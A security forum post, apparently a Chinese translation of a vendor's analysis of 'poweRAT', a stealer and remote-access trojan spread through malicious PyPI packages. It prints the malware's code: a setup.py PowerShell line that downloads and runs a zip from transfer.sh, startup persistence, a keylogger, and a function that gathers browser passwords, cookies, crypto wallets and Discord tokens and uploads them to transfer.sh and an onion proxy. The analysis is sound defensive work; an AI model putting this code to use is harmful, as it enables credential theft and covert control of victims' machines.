DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 4454|回复: 1

[样本分析] 深入研究 poweRAT:新发现的窃取器

[复制链接]

188

主题

35

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
354
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2023-1-10 11:52:54 | 显示全部楼层 |阅读模式

Phylum 发现了另一起针对 PyPI 用户的恶意软件活动,攻击链复杂而混乱,但也很新颖,进一步证明供应链攻击者不会很快放弃。

背景


2022 年 12 月 22 日上午,Phylum 的自动化风险检测平台标记了一个名为 pyrologin 的包。乍一看,它看起来像是在解码的 Base64 编码字符串上调用 exec 的非常标准的 Python 恶意软件,因此我们报告了它并继续前进。然而,在这个包中确实突出的一件事是从 transfer[.]sh 站点获取一个 zip 文件和一些包含 PowerShell 代码的字符串,其中隐藏了 "SilentlyContinue" 和 -WindowStyle,这看起来很明显是为了隐藏攻击者试图执行的任何代码。但同样,当时这是我们发现的唯一一个类似的包,所以将它固定在我们的 "关注这个" 墙上并继续前进。

但是之后:

  • 12/28/22 我们的自动风险检测平台提醒我们发布了 easytimestamp,它具有与 pyrologin 类似的标志
  • 12/29/22 我们的平台标记了 discord 和 discord-dev 的发布,其中也包含与 pyrologin 的相似之处
  • 12/31/22 我们的平台标记了 style.py 和 pythonstyles 的发布,它们看起来和其他的一样

在这一点上,很明显这不仅仅是一次发布,而是对 Python 开发人员和 PyPI 的又一次新兴攻击。让我们开始吧!

setup.py


这个攻击链的第一阶段,就像我们最近在 PyPI 中发现的许多恶意软件一样,从 setup.py 开始。不幸的是,这意味着任何简单地 pip 安装这些软件包的人都会触发在他们的机器上开始恶意软件部署。以下是 setup.py 中的相关片段,为了便于阅读而格式化:

  1. ...
  2. exec(base64.b64decode(b'ZGVmIHJ1bihjbWQpOmltcG9ydCBvcywgc3VicHJvY2Vzczty---TRUNCATED---'))
  3. if not os.path.exists(r'C:/ProgramData/Updater'):
  4.     print('Installing dependencies, please wait...')
  5. if sys.version_info.minor > 10:
  6.     run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
  7. else:
  8.     run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput lz4'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
  9. ...
复制代码

如上所述,我们首先注意到的是 Base64 编码字符串的 exec。让我们首先对其进行解码,看看那里发生了什么,格式:

  1. def run(cmd):
  2.     import os, subprocess
  3.     result = subprocess.Popen(
  4.         cmd,
  5.         shell=True,
  6.         stdin=subprocess.PIPE,
  7.         stdout=subprocess.PIPE,
  8.         stderr=subprocess.STDOUT,
  9.         close_fds=True
  10.     )
  11.     output = result.stdout.read()
  12.     return
复制代码

好的,所以它只定义了一个名为 run 的函数,该函数将获取提供的 cmd 参数并将其传递给 subprocess.Popen() ,后者将在新进程中执行 cmd。请注意,设置了 shell=True 将使用 shell 作为要执行的程序。在编码字符串上使用 exec 的目的似乎是试图阻止静态分析和/或提供某种最小形式的混淆。

现在定义了运行,我们继续进行无意义的检查以查看 C:/ProgramData/Updater 是否存在。如果没有 (这个目录是在后面的步骤中创建的),它只是告诉受害者正在安装 "依赖项"。

接下来它检查正在运行的 Python 的次要版本,然后将一个长的 PowerShell 命令传递给我们现在定义的运行函数,次要版本检查只是确定下一步需要 pip 安装哪些包以支持最终的恶意软件部署,让我们剖析 PowerShell 代码。 这里为了便于阅读而格式化:

  1. $ProgressPreference = 'SilentlyContinue';
  2. $ErrorActionPreference = 'SilentlyContinue';
  3. Invoke-WebRequest
  4.         -UseBasicParsing
  5.         -Uri https://transfer.sh/0tUIJu/Updater.zip
  6.         -OutFile $env:tmp/update.zip;
  7. Expand-Archive
  8.         -Force
  9.         -LiteralPath $env:tmp/update.zip
  10.         -DestinationPath C:/ProgramData;
  11. Remove-Item $env:tmp/update.zip;
  12. Start-Process
  13.         -WindowStyle Hidden
  14.         -FilePath        python.exe
  15.         -Wait
  16.         -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput');
  17. WScript.exe //B C:\ProgramData\Updater\launch.vbs
  18. powershell.exe
  19.         -WindowStyle hidden
  20.         -command Start-Process
  21.                 -WindowStyle Hidden
  22.                 -FilePath python.exe C:\ProgramData\Updater\server.pyw
复制代码

以下是发生的过程:

  • 可以立即看到一些偏好设置为 "SilentlyContinue",换句话说,不要让受害者知道发生了什么
  • 有一个 Invoke-WebRequest 从 https://transfer.sh/0tUIJu/Updater.zip 抓取一个 zip 文件并将其放入临时目录
  • 然后将其解压缩到 C:/ProgramData/Updater
  • 从磁盘中删除下载的 zip
  • 然后使用 Start-Process 运行 python -m pip install 并安装一长串潜在的侵入性软件包,包括 pynput、pydirectinput 和 pyscreenshot。除其他事项外,这些库允许人们控制和监视鼠标和键盘输入并捕获屏幕内容。同样值得注意的是 flask 和 flask_cloudflared 的安装,因为如果它真的很有趣 —— 稍后会详细介绍。
  • 最后,它使用 WScript.exe 从名为 launch.vbs 的解压缩目录运行一个 vbs 文件,该文件启动 powershell.exe 以在 -WindowStyle 隐藏模式下启动另一个名为 server.pyw 的下载文件。

这里发生了很多事情,让我们从探索它拉出的 zip 上的内容开始。它包含以下文件和文件夹:

  • cftunnel.py
  • cgrab.py
  • discord.py
  • launch.vbs
  • pwgrab.py
  • server.pyw
  • static/
  • templates/

按照文件的使用顺序来看一下这些文件。

launch.vbs

在上面的第 6 步中,WScript.exe 用于运行 launch.vbs,让我们看看其中发生了什么:

  1. On Error Resume Next

  2. ReDim args(WScript.Arguments.Count-1)

  3. For i = 0 To WScript.Arguments.Count-1
  4.     If InStr(WScript.Arguments(i), " ") > 0 Then
  5.         args(i) = Chr(34) & WScript.Arguments(i) & Chr(34)
  6.     Else
  7.         args(i) = WScript.Arguments(i)
  8.         End If

  9. Next

  10. CreateObject("WScript.Shell").Run Join(args, " "), 0, False
复制代码

使用此脚本的唯一目的是静默启动 powershell.exe。StackOverflow 上有一个关于如何做到这一点的问题的答案,我们怀疑攻击者只是完全从中提取了这段代码,因为它完全相同。

server.pyw

上面复杂的启动序列最终运行 server.pyw 所以让我们把注意力转移到那里,这是我们在该文件中找到的内容:

  1. import lzma, base64
  2. exec(lzma.decompress(base64.b64decode('/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4D96FUNdADSbS---TRUNCATED---')))
复制代码

另一个 exec,但这次它运行的是经过 Base64 编码和 lzma 压缩的东西。好的,让我们解码并解压!为简洁起见,我不会在此处粘贴整个结果,因为它原来是一个 675 LOC 文件,其中包含一个具有 17 个路由和 30 多个辅助函数的成熟的 Flask 应用程序!我将在此处仅包含导入和主要入口点代码:

  1. import os
  2. from flask import Flask, request, send_file, render_template
  3. from io import BytesIO, StringIO
  4. import subprocess, pyscreenshot, pydirectinput, GPUtil, requests, cpuinfo, shutil, string, random, sys
  5. from cftunnel import run_with_cloudflared
  6. from threading import Thread
  7. import pwgrab, discord, re, time, datetime
  8. from win32gui import GetForegroundWindow, GetWindowText
  9. from pynput import keyboard

  10. # browser storage mapping dict here
  11. # crypto wallet mapping dict here
  12. # chromium browser extension mapping dict here
  13. # large flask app here

  14. if __name__ == "__main__":
  15.     if os.path.exists(lap + r"\whitelist"):
  16.         app.run(debug=True, threaded=True)
  17.         Thread(target=key).start()
  18.     else:
  19.         Thread(target=startup).start()
  20.         Thread(target=ping).start()
  21.         Thread(target=key).start()
  22.         Thread(target=stl).start()
  23.         run_with_cloudflared(app)
  24.         app.run(debug=True, threaded=True)
复制代码

首先,我们看到使用了之前安装的一些导入。然后一个白名单文件的检查,如果找到,它将让我们进入调试模式。由于关心的是受害者,让我们忽略该路径并查看在 flask 应用程序启动之前触发的 4 个线程:

Thread 1: Thread(target=startup).start()

下面是启动函数的代码:

  1. def startup():
  2.     try:
  3.         run(
  4.             r"powershell -command $startup = $env:appdata + \'\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Updater.lnk\'; $WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut($startup); $Shortcut.TargetPath = \'WScript.exe\'; $Shortcut.Arguments = \'//B C:\\ProgramData\\Updater\\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\\ProgramData\\Updater\\server.pyw\'; $Shortcut.Save()"
  5.         )
  6.         run("attrib +s +h C:/ProgramData/Updater")
  7.     except:
  8.         pass
复制代码

这段代码做的第一件事是尝试建立持久性,方法是将自己放入 Windows 启动文件夹,名称听起来不错,更新程序。

Thread 2: Thread(target=ping).start()

它触发另一个线程来运行 ping:

  1. def ping():
  2.     while True:
  3.         try:
  4.             time.sleep(5)
  5.             localhost_url = "http://127.0.0.1:8099/metrics"
  6.             tunnel_url = requests.get(localhost_url).text
  7.             tunnel_url = re.search(
  8.                 "(?Phttps?:\\/\\/[^\\s]+.trycloudflare.com)", tunnel_url
  9.             ).group("url")
  10.             requests.get(
  11.                 f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/ping?tunnel={tunnel_url}&uuid={uuid}&username={username}",
  12.                 verify=False,
  13.             )
  14.         except:
  15.             pass
复制代码

我们稍后会回到这个问题,但现在可以看到它会无限期地尝试从 localhost:8099/metrics 获得响应,如果成功,就会向代理的洋葱站点发送一个 ping。

Thread 3: Thread(target=key).start()

这个很简单,它只是启动一个击键记录器:

  1. def key():
  2.     keyboardListener = keyboard.Listener(on_press=addKey)
  3.     keyboardListener.start()
复制代码

Thread 4: Thread(target=stl).start()

这个做了很多:

  1. def stl():
  2.     if not os.path.exists(lap + r"\firstrun.txt"):
  3.         try:
  4.             savepath = tmp + "\\saved"
  5.             zip_file = tmp + f"\\{uuid}.zip"
  6.             try:
  7.                 run(f'rmdir /q /s "{savepath}\\')
  8.             except:
  9.                 pass
  10.             if supported:
  11.                 get_chrome_cookies()
  12.                 get_chromium_cookies()
  13.                 get_firefox_cookies()
  14.                 get_edge_cookies()
  15.                 get_brave_cookies()
  16.                 get_opera_cookies()
  17.                 get_operagx_cookies()
  18.                 get_vivaldi_cookies()
  19.             for browser, browser_dir in browsers.items():
  20.                 get_passwords(browser, browser_dir)
  21.             for extension, extension_dir in extensions.items():
  22.                 get_extensions(extension, extension_dir)
  23.             for wallet, wallet_dir in wallets.items():
  24.                 get_wallets(wallet, wallet_dir)
  25.             get_telegram()
  26.             get_tokens()
  27.             run(
  28.                 r'rmdir /q /s "'
  29.                 + savepath
  30.                 + r'\\misc\\tdata\\user_data" && rmdir /q /s "'
  31.                 + savepath
  32.                 + r'\\misc\\tdata\\emoji\"'
  33.             )
  34.             run(f'powershell Compress-Archive -Force "{savepath}\\' "{zip_file}\")
  35.             run(f'attrib +h "{savepath}"')
  36.             run(f'attrib +h "{zip_file}"')
  37.             link = (
  38.                 "https://transfer.sh/"
  39.                 + run(f"curl -T "{zip_file}" https://transfer.sh/{uuid}.zip").split(
  40.                     "https://transfer.sh/"
  41.                 )[1]
  42.             )
  43.             requests.get(
  44.                 f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/save?uuid={uuid}&link={link}&date={date}&username={username}",
  45.                 verify=False,
  46.             )
  47.             run(f"echo no >%localappdata%/firstrun.txt")
  48.         except:
  49.             pass
复制代码

我认为仅凭函数名称就可以让您清楚地了解那里发生了什么。要点是,攻击者窃取了所有 cookie、浏览器密码、电报数据、discord 令牌和加密钱包,将其全部塞入一个 zip,然后通过另一个 transfer[.]sh 站点将其泄露。然后,攻击者通过暗网向一个洋葱网站发送另一个 ping 到带有一些信息的 clearnet 代理,大概是让他们知道他们成功地窃取了一堆东西。

run_with_cloudflared(app)

好的,所以当 ping 函数一直试图获取 localhost:8099/metrics 时,攻击者然后运行从 cftunnel.py 文件导入的 run_with_cloudflared(),所以让我们转到那里。

cftunnel.py

这是另一个相当长的文件,所以我不会粘贴它的内容,但我们只需要知道它会尝试下载并安装 cloudflared,这是受害者机器上的 cloudflare 隧道客户端。从自述文件:

包含 Cloudflare Tunnel 的命令行客户端,Cloudflare Tunnel 是一个隧道守护程序,可将流量从 Cloudflare 网络代理到您的源。这个守护进程位于 Cloudflare 网络和您的来源 (例如网络服务器) 之间。Cloudflare 吸引客户端请求并通过此守护程序将它们发送给您,而无需您在防火墙上戳洞 —— 您的来源可以尽可能保持关闭。

所以看起来 run_with_cloudflared() 允许攻击者通过 Cloudflare 隧道访问在受害者机器上运行的 flask 应用程序,而无需在防火墙上打开任何东西。这一切都可以通过使用 TryCloudflare 对攻击者完全免费完成,这似乎是他们在这里使用的。一旦隧道启动并运行,ping 功能最终将成功,让攻击者知道隧道正常运行并且他们控制了另一台机器。

好的,现在我们对这里发生的事情有了一个很好的了解。让我们回顾一下。 通过仅安装这些软件包之一:

  • 大量敏感信息被泄露
  • 攻击者建立持久性
  • 击键记录器已打开
  • 安装了 Cloudflare 隧道
  • 启动了一个 flask 应用程序,攻击者可以通过隧道访问该应用程序

对于我们通常在 PyPI 中发布的恶意软件而言,这绝对是新颖的。它是一个结合了反向访问木马 (RAT) 的窃取程序。

可是等等!还有更多 …


现在让我们探索一些 flask 应用程序路由,看看这个 RAT 有什么能力。

Flask App


我们将从查看 "/" 路由开始,对于那些不熟悉 Flask 或 Web 应用程序路由的人来说,这就像应用程序的 "主页" 页面或索引页面。这条路由绑定到一个名为 cnc 的函数——大概代表命令和控制。

  1. @app.route("/")
  2. def cnc():
  3.     return render_template(
  4.         "control.html",
  5.         username=username,
  6.         ipv4=ipv4,
  7.         ipv6=ipv6,
  8.         gpu=gpu,
  9.         cpu=cpu,
  10.         ram=ram,
  11.     )
复制代码

它只是呈现 control.html 模板并将有关受害机器的一些信息作为变量传递。这是在没有 css 且在 flask 外部呈现的模板的屏幕截图:



我们仍然可以在不运行应用程序的情况下很好地了解它在做什么,看起来我们认为它是一个指挥和控制中心是正确的。它提取受害者的用户名、IP 和机器信息,并允许攻击者运行 shell 命令、下载远程文件并在机器上执行它们、从机器中窃取文件甚至整个目录,甚至执行任意 python 代码。

它自称为 "xrat",但截至本文发表时,我们不确定这是指什么。 在功能方面与以名称 "xrat" 发布的其他 RAT 有很强的相似性,但它们不是用 Python 编写的。也许这是另一个 xrat 端口的开始,或者甚至可能只是对一个 xrat 的点头。无论哪种方式,我们都将其称为 poweRAT,因为它在攻击链中早期依赖于 PowerShell。

除了上面在 GUI 中显示的主要功能之外,还有一个名为 live 的路由绑定到 serve_img,代码如下:

  1. @app.route("/live\")
  2. def serve_img():
  3.     return render_template("live.html\")
复制代码

有趣的是,我们来看看它在这里渲染的 live.html 模板。

  1. <html>

  2. <head>
  3.     <script type="text/javascript">
  4.         function reloadpic() {
  5.             document.images["screen"].src = "screen.png?random=" + new Date().getTime();
  6.             setTimeout("reloadpic();", 1000);
  7.         }
  8.         onload = reloadpic;

  9.         function click(event) {
  10.             fetch(`/click?x=${event.pageX}&y=${event.pageY}`);
  11.         }

  12.         function type(event) {
  13.             fetch(`/type?key=${event.key}`);
  14.         }

  15.         document.addEventListener("click", click);
  16.         document.addEventListener("keypress", type);
  17.     </script>
  18.     <style>
  19.         body {
  20.             overflow: hidden;
  21.             padding: 0;
  22.             margin: 0;
  23.         }

  24.         img {
  25.             width: 100vw;
  26.         }
  27.     </style>
  28. </head>

  29. <body>
  30.     <img id="screen">
  31. </body>

  32. </html>
复制代码

好的,这基本上是一个基本的远程桌面实现,刷新率约为 1fps。该页面只是不断更新的受害者屏幕图像,可以看到鼠标和键盘点击的 JavaScript 事件侦听器。因此,攻击者正在查看不断更新的受害者机器的屏幕截图,当他们在该页面上单击或键入时,这些函数会获取攻击者按下的 x、y 坐标或按钮,并将其传回 Python,然后触发鼠标单击 并按下受害者机器上的按钮。

学到了什么


这东西就像打了类固醇的 RAT,它具有内置于漂亮的 Web GUI 中的所有基本 RAT 功能,具有基本的远程桌面功能和启动窃取程序!即使攻击者无法建立持久性或无法使远程桌面实用程序正常工作,窃取者部分仍会发送它发现的任何内容。如果持久性和远程桌面部分确实有效,那只会雪上加霜。正如我们之前所说,这些攻击者顽强而聪明,只会不断改变策略。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

0

主题

11

回帖

0

荣誉

Rank: 1

UID
1429
积分
2
精华
0
沃币
9 枚
注册时间
2023-8-10
发表于 2023-8-11 11:02:49 | 显示全部楼层
厉害,分享的很详细,谢谢
产权交易 https://www.ejy365.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1楼
2楼

Archiver|小黑屋|DecoyMini 技术交流社区 (吉沃科技) ( 京ICP备2021005070号 )

GMT+8, 2024-12-22 15:07 , Processed in 0.085001 second(s), 25 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表